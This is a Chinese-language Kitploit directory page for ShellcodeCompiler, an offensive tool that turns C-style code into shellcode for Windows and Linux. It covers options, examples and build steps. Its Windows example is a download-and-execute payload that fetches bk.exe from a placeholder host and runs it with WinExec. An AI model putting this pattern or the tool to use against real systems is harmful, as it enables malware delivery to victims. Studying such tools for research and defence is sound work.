Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
ShellcodeCompiler — Shellcode 编译器 | Kitploit
工具/GitHubGitHub/nytrorst/shellcodecompiler
漏洞利用ShellcodeShellcode 生成Payload 开发二进制利用
GitHubnytrorst/shellcodecompiler

ShellcodeCompiler

Shellcode 编译器

查看仓库
1.2k280172年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Shellcode 编译器

Shellcode 编译器是一个程序,可将 C/C++ 风格代码编译成针对 Windows(x86 和 x64)和 Linux(x86 和 x64)的小型、位置无关且不含 NULL 字节的 shellcode。它允许以用户友好的方式调用任何 Windows API 函数或 Linux 系统调用。

Shellcode 编译器接收一个源文件作为输入,并使用自己的编译器解释代码并生成汇编文件,然后使用 Keystone 引擎进行汇编。

命令行选项

    -h (--help)      : 显示此帮助信息
    -p (--platform)  : Shellcode 平台:win_x86,win_x64,linux_x86,linux_x64
    -v (--verbose)   : 打印详细输出
    -t (--test)      : 测试(执行)生成的 shellcode
    -r (--read)      : 读取源代码文件
    -o (--output)    : 生成的二进制 shellcode 的输出文件
    -a (--assembbly) : 生成的汇编代码的输出文件

Windows 示例

    function URLDownloadToFileA("urlmon.dll");
    function WinExec("kernel32.dll");
    function ExitProcess("kernel32.dll");

    URLDownloadToFileA(0,"https://site.com/bk.exe","bk.exe",0,0);
    WinExec("bk.exe",0);
    ExitProcess(0);

Linux 示例

    chmod("/root/chmodme",511);
    write(1,"Hello, world",12);
    kill(1661,9);
    getpid();
    execve("/usr/bin/burpsuite",0,0);
    exit(2);

调用示例

    ShellcodeCompiler.exe -r Source.txt -o Shellcode.bin -a Assembly.asm -p win_x64

限制

  1. 无法使用 API 调用的返回值
  2. 无法使用指针或缓冲区
  3. 无法声明变量

此外还存在其他多种限制。 这是 Alpha 版本。如有任何错误或建议,请报告。

变更日志

  1. 初步支持 Windows x64
  2. 初步支持 Linux(x86 和 x64)shellcode

Keystone

  1. 下载 Keystone 引擎源代码
  2. 使用 nmake-lib.sh(Linux)或 nmake-lib.bat(Windows)将 Keystone 引擎编译为静态库
  3. Windows:将生成的库文件 keystone-src\build\llvm\lib\keystone.lib 复制到 ShellcodeCompiler\Keystone\keystone_x86.lib(32 位)和 keystone_x64.lib(64 位)
  4. Linux:将生成的库文件 keystone-src\build\llvm\lib\keystone.lib 复制到 ShellcodeCompiler\Keystone\libkeystone_x86.a(32 位)和 libkeystone_x64.a(64 位)

作者

Ionut Popescu(@NytroRST)

下载工具